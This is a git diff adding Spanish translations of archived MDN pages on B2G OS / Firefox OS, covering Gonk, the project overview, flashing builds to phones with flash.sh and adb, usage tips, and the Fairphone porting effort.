+<p>Llegado a este punto, ¡ya estás listo para <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Preparing_for_your_first_B2G_build" title="en-US/docs/Mozilla/Boot_to_Gecko/Preparing_for_your_first_B2G_build">bajarte el código de Firefox OS</a>!</p>
diff --git a/files/es/archive/b2g_os/gaia_hacking_guide/index.html b/files/es/archive/b2g_os/gaia_hacking_guide/index.html
new file mode 100644
index 0000000000..8d4ba30890
--- /dev/null
+++ b/files/es/archive/b2g_os/gaia_hacking_guide/index.html
@@ -0,0 +1,6 @@
+---
+title: Guía para hackear Gaia
+slug: Archive/B2G_OS/Gaia_hacking_guide
+translation_of: Archive/B2G_OS/Developing_Gaia
+---
+<p>La guía para hackear Gaia aún no ha sido escrita. Sin embargo,  puedes hacer <a href="https://wiki.mozilla.org/Gaia/Hacking">referencia a este artículo</a> en el wiki de Mozilla, por el momento.</p>
diff --git a/files/es/archive/b2g_os/gonk/index.html b/files/es/archive/b2g_os/gonk/index.html
new file mode 100644
index 0000000000..e524f46f74
--- /dev/null
+++ b/files/es/archive/b2g_os/gonk/index.html
@@ -0,0 +1,23 @@
+---
+title: Gonk
+slug: Archive/B2G_OS/Gonk
+translation_of: Archive/B2G_OS/Platform/Gonk
+---
+<p><span style="line-height: 1.5;"></span></p><div class="overheadIndicator draft">
+    <p><strong>Borrador</strong><br>
+    Esta página no está completa.</p>
+
+</div><p></p>
+<div class="summary">
+ <p>Gonk es un sistema operativo de bajo nivel de la plataforma <a href="/en-US/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> que consiste de un kernel Linux basado sobre el <a class="external" href="http://source.android.com/">Android Open Source Project</a> (AOSP) <span style="line-height: 1.5;">y una capa de abstracción de hardware (HAL). Este artículo intenta explicar qué constituye Gonk; para obtener más información sobre la arquitectura general del Firefox OS y cómo Gonk encuadra en ella, lea nuestra guía sobre la <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Architecture">Arquitectura de Firefox OS</a>.</span></p>
+</div>
+<h2 id="Panorama_de_Gonk">Panorama de Gonk</h2>
+<p>En el código fuente de Gecko hay una carpeta b2g\ que contiene el <em>Gonk Port</em>, el cual habilita las capacidades del hardware móvil para la Web. Consiste de un núcleo, o kernel, Linux, HAL y otras librerías OEM específicas. Varias librerías Gonk son proyectos de código abierto comunes: libusb, bluez, etcétera. Algunas de las otras partes de la HAL están compartidas con el Proyecto Android: GPS, cámara y otros.</p>
+<p><span style="line-height: 1.5;">Gonk es una capa de adaptación (port) de dispositivos: un adaptador entre el hardware y Gecko. Gonk es una distribución de Linux bastante sencilla que puede ser tratada como un adaptador Gecko empardado con capas de adaptación Gecko —entonces Gonk es un <strong>objetivo</strong> para adaptar <a href="https://developer.mozilla.org/en-US/docs/Gecko">Gecko</a> a Firefox OS así como también hay adaptadores de Gecko para OS X, Windows y Android.</span></p>
+<div class="note">
+ <p><strong>Nota</strong><b><strong>:</strong> </b>debido a que diferentes dispositivos móviles pueden tener diferentes chips y otras especificaciones de hardware, los dispositivos pueden tener diferentes distribuciones de Gonk.</p>
+</div>
+<p>Como el Proyecto Firefox OS goza de control total sobre Gonk, podemos exponer interfaces a Gecko que no podrían ser expuestas en otros sistemas operativos. Por ejemplo, Gecko posee a través de Gonk acceso directo al conjunto completo de telefonía y al buffer de pantalla.</p>
+<h2 id="Código_fuente_de_Gonk">Código fuente de Gonk</h2>
+<p>El <a href="https://github.com/mozilla-b2g/B2G">repositorio B2g en Github</a> contiene soporte oficial para todas las adaptaciones de Gonk para una variedad de dispositivos, así que puede tratarlo como un repositorio de Gonk. La lista de dispositivos soportados está en<code> B2g/config.sh</code>.</p>
+<p><span style="line-height: 1.5;">La mayor parte del trabajo diario realizado en Gonk implica adaptar el sistema a diferentes placas y asegurarse de que Gecko responda bien a los diferentes dispositivos.</span></p>
diff --git a/files/es/archive/b2g_os/index.html b/files/es/archive/b2g_os/index.html
new file mode 100644
index 0000000000..05e4a3fabb
--- /dev/null
+++ b/files/es/archive/b2g_os/index.html
@@ -0,0 +1,94 @@
+---
+title: B2G OS
+slug: Archive/B2G_OS
+tags:
+  - B2G
+  - B2G OS
+  - Basic
+  - Empezando con B2G OS
+  - Gaia
+  - Gecko
+  - Gonk
+  - Mozilla
+  - Overview
+  - Principiante
+  - SO web Gecko
+  - SO web basado en Mozilla
+  - b2g smartphone os
+translation_of: Archive/B2G_OS
+---
+<div class="summary"><span class="seoSummary">B2G OS es un sistema operativo completo e independiente para un internet abierto. Es un proyecto de código abierto desarrollado por la comunidad de Mozilla, y conforma la base de los productos para Firefox OS.</span></div>
+
+<p><strong>B2G OS </strong>es un sistema operativo de código abierto mantenido por la comunidad, para<strong> </strong>teléfonos inteligentes, tabletas, televisiones inteligentes, y otros dispositivos conectados. El proyecto se <a href="https://wiki.mozilla.org/Booting_to_the_Web">comenzó</a> en 2011, y está basado en el kernel de Linux y en el motor de renderizado Gecko. Toda la interfaz de usuario está hecha con tecnologías web (HTML, CSS y JavaScript), y se puede utilizar para lanzar y utilizar <a href="/en-US/Apps">aplicaciones web</a>. Desde que Mozilla <a href="https://discourse.mozilla-community.org/t/firefox-os-connected-devices-announcement/6864">discontinuó</a> su programa comercial de Firefox OS para teléfonos inteligentes, la parte de teléfonos del proyecto es mantenida enteramente por la comunidad de voluntarios de Mozilla, y se ha renombrado a B2G OS.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13140/B2g_wordmark.png" style="display: block; margin: 0 auto;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Se ha realizado una <a href="https://wiki.mozilla.org/B2G/Transition_Project/Call_For_Contribution">Llamada a contribuir</a> y una <a href="https://discourse.mozilla-community.org/t/updated-9th-july-call-for-app-maintainers-adopt-an-app/9300/1">Llamada para la adopción de Apps</a> para reunir a más gente, ¡siéntete libre de compartirlo!</p>
+</div>
+
+<div class="column-container">
+<div class="column-third">
+<h2 id="Cómo_puedes_ayudar">Cómo puedes ayudar</h2>
+
+<ul>
+ <li>Reporta y soluciona bugs (el bug principal es el <a class="external text" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1252143" rel="nofollow">bug 1252143</a>).</li>
+ <li>Ayúdanos a solucionar <a class="external text" href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Automated_testing" rel="nofollow">pruebas</a> fallidas.</li>
+ <li>Migra a gaia una <a href="https://mozilla-b2g.github.io/gaia/">app de teléfono</a>:
+  <ol>
+   <li>Conviértela en una aplicación web (ó)</li>
+   <li>Conviértela en chrome:// (<a href="https://discourse.mozilla-community.org/t/why-gaia-apps-are-turned-to-chrome/8011">por qué?</a>) y repórtalo<span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span></li>
+  </ol>
+ </li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porta B2G OS a tu teléfono</a>, o ayúdanos a mantener una portabilidad.</li>
+ <li>Ayuda a mejorar y traducir esta documentación y la wiki.</li>
+ <li>Propón e implementa nuevas funcionalidades para teléfonos inteligentes.</li>
+</ul>
+</div>
+
+<div class="column-third">
+<h2 id="Involúcrate">Involúcrate</h2>
+
+<ul>
+ <li>Lista de correos (<a class="external text" href="https://lists.mozilla.org/listinfo/dev-fxos" rel="nofollow">dev-fxos</a>).</li>
+ <li><a class="external text" href="https://wiki.mozilla.org/IRC" rel="nofollow">IRC</a> (irc.mozilla.org #fxos).</li>
+ <li><a href="https://discourse.mozilla-community.org/c/b2g-os-participation">Discourse</a>.</li>
+ <li><a class="external text" href="https://telegram.me/B2GOS" rel="nofollow">Grupo de Telegram</a>.</li>
+ <li>Síguenos en <a href="https://twitter.com/Boot2Gecko">Twitter</a>, o solo busca <a href="https://twitter.com/hashtag/B2GOS?src=hash">#B2GOS</a>.</li>
+ <li><a href="https://wiki.mozilla.org/B2G/Transition_Project/Working_Groups">Grupos de trabajo</a>.</li>
+ <li>Seguimiento de tareas de documentación de <a href="https://github.com/mozilla-b2g/B2GOS-community/issues">GitHub</a>.</li>
+ <li><a class="external text" href="https://wiki.mozilla.org/B2G/Meeting" rel="nofollow">Reunión semanal de B2G</a> para informarse del estado del proyecto.</li>
+</ul>
+
+<p>Para participar en reuniones y en los Grupos de Trabajo de la comunidad, regístrate en este <a href="https://calendar.google.com/calendar/embed?src=mozilla.com_2d3638353137343333373332@resource.calendar.google.com">Calendario</a>. Se anuncia en <a href="https://discourse.mozilla-community.org/c/b2g-os-participation">Discourse</a>, donde puedes encontrar información sobre cómo asistir y notas.</p>
+</div>
+
+<div class="column-third">
+<h2 id="Dispositivos_compatibles">Dispositivos compatibles</h2>
+
+<ul>
+ <li><a href="https://discourse.mozilla-community.org/t/building-b2g-os-for-aries-z3c/8082">Sony Xperia Z3C</a> (teléfono para desarrolladores)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/flame-builds/8548">Flame </a>(teléfono para desarrolladores)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/zte-open-c/8402">ZTE Open C </a> (TEP)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/test-b2gos-on-nexus-5/9405/1">Nexus 5</a></li>
+ <li>WileyFox Swift</li>
+ <li>Nexus 4 (TEP*)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/fairphone-2-support-for-b2g-installer-landed/8334">Fairphone 2 </a> (TEP*)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/support-for-amami-xperia-z1c-building-debugging-providing-builds/8348">Sony Xperia Z1C</a> (TEP*)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/b2g-os-flamingo-sony-xperia-e3-builds/8361">Sony Xperia E3 </a> (TEP*)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/wip-xiaomi-redmi-1s-hongmi-1s/10273">Xiaomi Redmi 1S</a> (TEP*)</li>
+</ul>
+
+<p>Para más información visita esta <a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">página</a>.<br>
+ Flashea tu dispositivo fácilmente con <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS/B2G_installer_add-on">B2G installer</a>.<br>
+ ¿Tu dispositivo no está en la lista? Prueba <a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Mulet">Mulet</a> para escritorio.</p>
+
+<p>*TEP = Trabajo En Progreso.</p>
+</div>
+</div>
+
+<p>
+ </p><div class="note">
+ <p><strong>Nota</strong>: Se han movido algunas páginas a los <a href="/en-US/docs/Archive/Firefox_OS">Archivos de MDN</a> — Haznos saber si tienes problemas para encontrar algo o si hay algo en los archivos que crees que debería regresar a esta sección.</p>
+ </div>
+<p></p>
diff --git a/files/es/archive/b2g_os/installing_on_a_mobile_device/index.html b/files/es/archive/b2g_os/installing_on_a_mobile_device/index.html
new file mode 100644
index 0000000000..690ea49147
--- /dev/null
+++ b/files/es/archive/b2g_os/installing_on_a_mobile_device/index.html
@@ -0,0 +1,79 @@
+---
+title: Instalar Firefox OS en un dispositivo móvil
+slug: Archive/B2G_OS/Installing_on_a_mobile_device
+tags:
+  - Firefox OS
+  - Flashear
+  - Galaxy S2
+  - i9100
+translation_of: Archive/B2G_OS/Installing_on_a_mobile_device
+---
+<p></p>
+<p>Una vez que se ha construido Boot to Gecko para un <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Have_a_compatible_device_or_use_an_emulator" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Have_a_compatible_device_or_use_an_emulator">dispositivo móvil compatible</a>, puede instalarlo. Este artículo le guiará a través del proceso.</p>
+<div class="note">
+ <strong>Nota:</strong> La primera vez que flashea su teléfono, <strong>deberá </strong>tener Android 4 (Ice Cream Sandwich) instalado. De lo contrario el proceso no funcionará correctamente. Una vez que usted ha hecho su primera instalación de B2G, sin embargo, sólo tiene que actualizar en la parte superior de la misma.</div>
+<h2 id="Instalando_ADB">Instalando ADB</h2>
+<p><strong>En OSX:</strong></p>
+<p>Si tienes homebrew en OSX:</p>
+<pre>brew install android-platform-tools
+</pre>
+<p>De lo contrario descargue las Herramientas para Desarrolladores Android y agrega los binarios a tu PATH.</p>
+<p><strong>En Ubuntu:</strong></p>
+<pre>sudo apt-get install android-tools-adb</pre>
+<h2 id="Flasheando_su_telefono">Flasheando su telefono</h2>
+<p>Para actualizar todo a su teléfono, sólo tiene que conectar el teléfono y el tipear:</p>
+<pre>./flash.sh
+</pre>
+<p>Eso es todo. El B2G que tienes actualmente en construcción flasheara el dispositivo.</p>
+<h3 id="Configuración_de_la_regla_de_udev_para_su_dispositivo">Configuración de la regla de udev para su dispositivo</h3>
+<p>En Linux, si obtine,</p>
+<pre>&lt; waiting for device &gt;</pre>
+<p>probablemente significa que usted no ha añadido una regla udev para el dispositivo fastboot, que no es el mismo que el de adb. Usted puede obtener el ID de proveedor USB al ejecutar lsusb ahora, pero por lo general es de Google: 18d1, por lo que añadir esta línea en el archivo / etc/udev/rules.d/51-android.rules funcionaría:</p>
+<pre>SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666", GROUP="plugdev"</pre>
+<div class="note">
+ <strong>Nota: </strong>Si usted recibe un error libusb muy útil "-3" en Linux, esto significa que usted tiene que ser root para tener el acceso necesario para el dispositivo USB. Ejecute el script de nuevo usando sudo.</div>
+<div class="note">
+ <strong>Nota 2</strong>: Si tienes un un teléfono Keon Geeksphone o Unagi, necesita dos líneas como esta - una para la identificación del proveedor original del teléfono y otra para la de Google.</div>
+<h3 id="Notas_especiales_para_el_Samsung_Galaxy_S2">Notas especiales para el Samsung Galaxy S2</h3>
+<p>Si el teléfono es un Galaxy S2 y utiliza Heimdall 1.3.2 (la versión más reciente, use <code>heimdall version</code> para comprobar), es posible que vea un error alarmante "FACTORYFS upload failed!" seguido de "Heimdall flashing failed" y alguna información adicional. Esto es realmente una condición de finalización satisfactoria, y se puede hacer caso omiso de los consejos.</p>
+<div>
+  </div>
+<div>
+ Para deshacerse de este extraño comportamiento, tomar una <a href="https://github.com/Benjamin-Dobell/Heimdall" title="https://github.com/Benjamin-Dobell/Heimdall">copia de origen</a> de Heimdall, degradar a la versión 1.3.1 (<code>"git checkout fbbed42c1e5719cc7a4dceeba098981f19f37c06"</code>), luego compilarlo según el README, a continuación, instalarlo para que el error desaparezca. Sin embargo, esto no es estrictamente necesario.</div>
+<div>
+  </div>
+<div>
+ Todas las versiones de Heimdall son incapaces de flashear una system.img mayor que 100 MB. hacer:</div>
+<pre>ls -l ./out/target/product/galaxys2/system.img
+</pre>
+<p>para ver qué tan grande es el suyo. Si es demasiado grande, pregunte en el IRC para aconsejarlo; hay maneras de hacerlo en dos etapas.</p>
+<h2 id="Paso_añadido_para_el_Samsung_Galaxy_S2">Paso añadido para el Samsung Galaxy S2</h2>
+<p>Si está flasheando el Galaxy S2, hay un paso adicional a seguir. Gaia no consigue flashear automáticamente por el script flash.sh, necesitará hacer también:</p>
+<pre>./flash.sh gaia
+</pre>
+<h2 id="Flasheando_particiones_específicas_para_teléfonos_fastboot">Flasheando particiones específicas para teléfonos fastboot</h2>
+<p>Usted puede flashear particiones específicas para teléfonos fastboot (es decir, cualquier teléfono que no sea el Samsung Galaxy S2). Por ejemplo:</p>
+<pre>./flash.sh system
+./flash.sh boot
+./flash.sh user
+</pre>
+<h2 id="Actualización_de_módulos_específicos">Actualización de módulos específicos</h2>
+<p>Puede actualizar los componentes específicos de B2G especificando sus nombres cuando flashea. Por ejemplo:</p>
+<pre>./flash.sh gaia
+./flash.sh gecko
+</pre>
+<p>Para actualizar sólo una aplicación puede utilizar la variable de entorno BUILD_APP_NAME:</p>
+<pre>BUILD_APP_NAME=calendar ./flash.sh gaia</pre>
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+<p>En este punto, el teléfono debe estar ejecutando Boot to Gecko! Es hora de experimentar, <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Application_development" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Application_development">escribir algo de código</a>, <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Testing" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Testing">prueba</a>, o <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Debugging" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Debugging">hacer algo de depuración!</a></p>
+<div class="note">
+ <strong>Note:</strong> Un consejo útil de uso: si su estructura de B2G se inicia con la pantalla de bloqueo solicitar un código de acceso para desbloquear el teléfono, el código por defecto es 0000.</div>
+<h2 class="note" id="Solución_de_problemas">Solución de problemas</h2>
+<p>Aquí hay algunos consejos sobre qué hacer si el dispositivo no funciona correctamente después de instalar B2G, o actualizar a una nueva versión</p>
+<h3 class="note" id="Si_la_interfaz_de_usuario_no_se_inicia">Si la interfaz de usuario no se inicia</h3>
+<p>Si actualizas el teléfono y la interfaz de usuario no inicia, puede restablecerla para limpiar configuración fuera de fecha y similares. Esto puede traer de vuelta a la vida. He aquí cómo:</p>
+<pre>cd gaia
+make reset-gaia
+</pre>
+<h3 class="note" id="la_imagen_es_demasiado_grande_mensaje_de_error_en_la_ejecución_.flash.sh">"la imagen es demasiado grande" mensaje de error en la ejecución ./flash.sh</h3>
+<p>Podría significar que el teléfono necesita ser arraigada primero antes de flashear ella. Como b2g tiene que ser escrito en la partición root, el teléfono debe estar enraizado con el fin de instalarlo.</p>
diff --git a/files/es/archive/b2g_os/introduction/index.html b/files/es/archive/b2g_os/introduction/index.html
new file mode 100644
index 0000000000..76ac08d8c4
--- /dev/null
+++ b/files/es/archive/b2g_os/introduction/index.html
@@ -0,0 +1,27 @@
+---
+title: Introducción a Firefox OS
+slug: Archive/B2G_OS/Introduction
+translation_of: Archive/B2G_OS/Introduction
+---
+<p><strong>Firefox OS</strong> (también llamado por su nombre clave "Boot to Gecko" o "B2G") es el sistema operativo de código abierto de Mozilla basado en Linux y la tecnología Gecko de Mozilla. La idea es esencialmente tener todo el software accesible al usuario ejecutándose en el teléfono siendo una aplicación web que use técnicas avanzadas de HTML5 y APIs de dispositivos para acceder al hardware del teléfono directamente vía JavaScript.</p>
+<p>Para los desarrolladores web, la parte más importante a entender es que la interfaz de usuario completa es una aplicación web, que es capaz de mostrar e iniciar otras aplicaciones web. Cualquier modificación que haga a la interfaz de usuario y cualquier aplicación que crees para ejecutarse en Firefox OS son páginas web, aunque con acceso mejorado al hardware del dispositivo móvil y sus servicios.</p>
+<p>Puede aprender cómo construir e instalar Firefox OS <a href="/en/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko" title="en/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko">siguiendo nuestra guía práctica</a>.</p>
+<h2 id="Tips_de_uso">Tips de uso</h2>
+<p>Esta sección proporciona algunos consejos que realmente le ayudarán a usar Firefox OS. Esto es algo así como un marcador de posición hasta que tengamos real documentación de uso.</p>
+<h3 id="Desbloqueando_el_teléfono">Desbloqueando el teléfono</h3>
+<p>Si tu versión de Firefox OS inicia preguntando por una clave para desbloquear el dispositivo, el código por defecto es 0000. Algunas versiones harán eso mientras desarrollamos y probamos la pantalla de bloqueo.</p>
+<h3 id="Capturando_una_pantalla">Capturando una pantalla</h3>
+<p>Actualmente no hay soporte en el dispositivo para capturar pantalla. Sin embargo, puede hacer desde la terminal en la computadora Linux o Mac OS X que tenga un sistema de construcción de Firefox OS instalado.</p>
+<ol>
+ <li>Asegúrese que tiene ffmpeg instalado.
+  <ol>
+   <li>En Mac, si usa MacPorts, puede hacerlo con <code>sudo port install ffmpeg</code>. Para homebrew, haga <code>brew install ffmpeg</code>.</li>
+   <li>En Linux (Ubuntu/Debian), utilice <code>sudo apt-get install ffmpeg</code>.</li>
+  </ol>
+ </li>
+ <li>Conecte su teléfono a la computadora usando un cable USB.</li>
+ <li>Navegue en su teléfono a cualquier situación donde desea obtener la captura de pantalla.</li>
+ <li><code>cd</code> hacia el directorio <code>B2G/gaia</code></li>
+ <li><code>make screenshot</code></li>
+ <li>Ahora puede tener una captura de pantalla llamada <code>screenshot.png</code>.</li>
+</ol>
diff --git a/files/es/archive/b2g_os/phone_guide/fairphone/index.html b/files/es/archive/b2g_os/phone_guide/fairphone/index.html
new file mode 100644
index 0000000000..9f09a19917
--- /dev/null
+++ b/files/es/archive/b2g_os/phone_guide/fairphone/index.html
@@ -0,0 +1,186 @@
+---
+title: Fairphone
+slug: Archive/B2G_OS/Phone_guide/Fairphone
+tags:
+  - B2G
+  - Celular
+  - Comercio justo
+  - Dispositivo
+  - Fairphone
+  - Firefox OS
+  - Gaia
+  - Guía
+translation_of: Archive/B2G_OS/Phone_guide/Fairphone
+---
+<div class="warning">
+<p><strong>Advertencia</strong><span lang="es"><strong><span class="hps">:</span></strong> <span class="hps">Este dispositivo</span> <span class="hps">todavía no</span> <span class="hps">ejecuta</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span class="hps">, pero</span> <span class="hps">este es el</span> <span class="hps">objetivo final</span><span>.</span> <span class="hps">Esta página</span> <span class="hps">pretende ser un</span> <span class="hps">punto central de información</span> <span class="hps">para la comunidad de</span> <span class="hps">la coordinación del trabajo</span> <span class="hps">de portabilidad</span><span>.</span></span></p>
+</div>
+
+<p class="summary"><span id="result_box" lang="es"><span class="hps">El</span> </span><a class="tgwf_green" href="https://www.fairphone.com/fairphone/">Fairphone</a><span lang="es"> <span class="hps">es un smartphone</span> de <span class="hps">economía justa</span>; centrado en el<span class="hps"> abastecimiento</span><span>, la producción</span><span>, la distribución</span><span class="atn">, la auto-</span><span>reparación</span> <span class="hps">y el reciclaje de</span> <span class="hps">productos electrónicos</span><span>.</span> <span class="hps">No es</span> <span class="hps">completamente</span> <span class="hps">hardware</span> <span class="hps">software libre</span><span>,</span> <span class="hps">pero</span> <span class="hps">es compatible con</span> <span class="hps">la idea</span> <span class="hps">de devolver</span> <span class="hps">al menos</span> <span class="hps">algún tipo de control</span> <span class="hps">de hardware para</span> los<span class="hps"> usuarios.</span></span></p>
+
+<h2 id="Información_de_publicación_del_dispositivo">I<span class="short_text" id="result_box" lang="es"><span class="hps">nformación de </span></span>publicación<span class="short_text" lang="es"> <span class="hps">del dispositivo</span></span></h2>
+
+<p><a class="tgwf_green" href="https://www.fairphone.com/fairphone/">Fairphone </a>ha lanzado dos dispositivos hasta ahora - la FP1 v1 Fairphone (primera edición) fue lanzado el 30 de diciembre del 2013 y el FP1U (segundo lote) fue lanzado el 22 de julio de 2014. Las ventas han llegado a su fin para el dispositivo v1. El v2 Fairphone fue lanzado el 16 de julio 2015 y se puede pedir a <a class="tgwf_green" href="https://www.fairphone.com/fairphone/">Fairphone</a>.</p>
+
+<table class="standard-table" style="width: 100%;">
+ <thead>
+  <tr>
+   <th scope="col">Fairphone v1</th>
+   <th scope="col">Fairphone v2</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="width: 50%;"><img alt="A picture of the Fairphone v1 device, showing lockscreen and the back. Credit : Fairphone. CC BY-NC-SA." src="https://mdn.mozillademos.org/files/10253/FairPhone-v1-Screen-2.jpg" style="float: left; height: 376px; margin-bottom: 20px; margin-right: 20px; width: 100%;"></td>
+   <td style="width: 50%;"><img alt="Fairphone 2 Black Matte" id="big-image" src="http://shop.fairphone.com/media/catalog/product/cache/2/image/445x/602f0fa2c1f0d1ba5e241f914e856ff9/f/r/front-and-back.png" style="height: 100px; width: 100%;" title="Fairphone 2 Black Matte"></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><span id="result_box" lang="es"><span class="hps"><strong>Nota:</strong> Puede</span> <span class="hps">seguir el progreso</span> <span class="hps">en el </span></span><a class="tgwf_green" href="https://www.fairphone.com/blog">blog Fairphone</a><span lang="es"><span>,</span> <span class="hps">y</span> <span class="hps">revisar la</span><span class="hps"> </span></span><a class="tgwf_green" href="http://www.fairphone.com/2014/11/04/next-chapter-in-fairphones-strategy-outlook-for-2015/">estrategia</a><span lang="es"><span class="hps"> anunciada</span> <span class="hps">y el </span></span><a class="tgwf_green" href="https://www.fairphone.com/2015/02/12/our-approach-to-developing-the-next-fairphone/">enfoque</a><span lang="es"><span>.</span></span></p>
+</div>
+
+<h2 id="Portabilidad_de_Firefox_OS_al_dispositivo_Fairphone"><span class="short_text" id="result_box" lang="es"><span class="hps">Portabilidad</span></span> de Firefox OS <span class="short_text" id="result_box" lang="es"><span class="hps">al</span></span> dispositivo Fairphone</h2>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Esto</span> <span class="hps">aún no ha</span> <span class="hps">sucedido</span><span>,</span> <span class="hps">pero se</span> <span class="hps">está trabajando.</span></span></p>
+
+<h3 id="Problemas_reales"><span class="short_text" id="result_box" lang="es"><span class="hps">Problemas</span> <span class="hps">reales</span></span></h3>
+
+<p><strong>Fairphone v1</strong><span lang="es"> </span><a class="tgwf_green" href="https://www.fairphone.com/2014/12/09/our-approach-to-software-and-ongoing-support-for-the-first-fairphones/">no pudo actualizar</a><span lang="es"> <span class="hps">su sistema operativo</span> <span class="hps">Android</span> <span class="hps">personalizado</span> <span class="hps">porque el fabricante</span> <span class="hps">del chipset</span> <span class="hps">no dio a conocer</span> <span class="hps">un código</span> <span class="hps">abierto de banda</span> <span class="hps">actualizada</span> <span class="hps">o </span></span><span class="short_text" id="result_box" lang="es"><span class="hps">compilación</span></span><span lang="es"><span>.</span></span></p>
+
+<p>En el Mobile World Congress 2015, Fairphone hizo un llamado a los posibles sistemas operativos alternativos disponibles para el próximo Fairphone v2. Estas conversaciones que se llevaron a cabo dieron por inicio la portabiliad de Firefox OS al dispositivo Fairphone. Una portabilidad de Firefox OS puede ser una manera de salvar al Fairphone v1, así como <strong>evitar estas cuestiones para las futuras generaciones de teléfonos</strong>. La colaboración de Mozilla con los tres principales proveedores de chipset también ayudaría.</p>
+
+<p><span id="result_box" lang="es"><strong><span class="hps">Fairphone v2</span></strong> <span class="hps">es</span> </span><a class="tgwf_green" href="https://www.fairphone.com/2015/09/23/opening-up-fairphone-to-the-community-open-source-fairphone-2/">orientado a código abierto</a><span lang="es"> <span class="hps">con</span> <span class="hps">contribuciones de la comunidad</span> <span class="hps">a</span> <span class="hps">código fuente</span> y a </span><span class="short_text" id="result_box" lang="es"><span class="hps">compilación</span></span><span lang="es"> de <span class="hps">Fairphone</span> <span class="hps">OS</span><span>. </span></span></p>
+
+<h3 id="El_progreso_y_la_solución"><span class="short_text" id="result_box" lang="es"><span class="hps">El progreso</span> <span class="hps">y</span> <span class="hps">la solución</span></span></h3>
+
+<p><span id="result_box" lang="es"><span class="hps">En este momento</span> <span class="hps">el proyecto</span> <span class="hps">de portabilidad</span> <span class="hps">está empezando</span> <span class="atn hps">(</span><span>fase de encendido</span><span>)</span><span>.</span> <span class="hps">Esperamos</span> <span class="hps">que el trabajo</span> <span class="hps">de portabilidad</span> </span>comienze pronto —<span lang="es"> <span class="hps">ver este espacio</span> <span class="hps">para más información. </span></span></p>
+
+<h3 id="Contribuyendo"><span class="short_text" id="result_box" lang="es"><span class="hps">Contribuyendo</span></span></h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Si usted está interesado</span> <span class="hps">en saber más</span> <span class="hps">o </span></span>contribuir<span lang="es"> <span class="hps">al esfuerzo para la </span><span class="hps">portabilidad</span><span>,</span> <span class="hps">los siguientes enlaces</span> </span>le llevaran<span lang="es"><span class="hps"> a donde</span> <span class="hps">usted necesita ir</span><span>. </span></span></p>
+
+<p>Si usted está interesado en saber más o contribuir al esfuerzo de llevar a cabo, los siguientes enlaces le llevaran a donde usted necesita ir.</p>
+
+<h4 id="Herramientas_de_Proyecto"><span class="short_text" id="result_box" lang="es"><span class="hps">Herramientas</span> <span class="hps">de Proyecto</span></span></h4>
+
+<ul>
+ <li><a href="https://wiki.mozilla.org/FirefoxOS/Fairphone">Gestión de la portabiliad del proyecto en WikiMo</a><span lang="es"><span>:</span> R<span class="hps">ecursos</span> <span class="hps">esenciales</span> <span class="hps">para seguir el</span> <span class="hps">progreso</span> <span class="hps">de portabilidad de</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">al dispositivo</span> <span class="hps">Fairphone</span><span>.</span></span></li>
+ <li><a class="tgwf_grey" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1139642">Bug 1139642 en BMO</a>:<span lang="es"> <span class="hps">Cualquier</span> <span class="hps">error</span> <span class="hps">relacionado directamente con</span> la portabilidad de <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">al</span> <span class="hps">Fairphone</span> <span class="hps">será marcado como</span> <span class="hps">el bloqueo de</span> <span class="hps">este meta bug</span><span>.</span></span></li>
+ <li><a href="http://code.fairphone.com/">El entorno completo de compilación de Fairphone OS en Fairphone 2</a><span lang="es"><a href="http://code.fairphone.com/"> <span class="hps">de</span> <span class="hps">Fairphone</span> <span class="hps">OS en</span> <span class="hps">Fairphone</span> <span class="hps">2</span></a><span>:</span> <span class="hps">El código abierto</span> <span class="hps">completo, incluyendo</span> <span class="hps">todas las herramientas y</span> <span class="hps">binarios</span> <span class="hps">que permitirá</span> <span class="hps">a los usuarios</span> <span class="hps">crear sus propias </span></span><span class="short_text" id="result_box" lang="es"><span class="hps">compilación de</span></span><span lang="es"> <span class="hps">Fairphone</span> <span class="hps">OS</span><span>. </span></span></li>
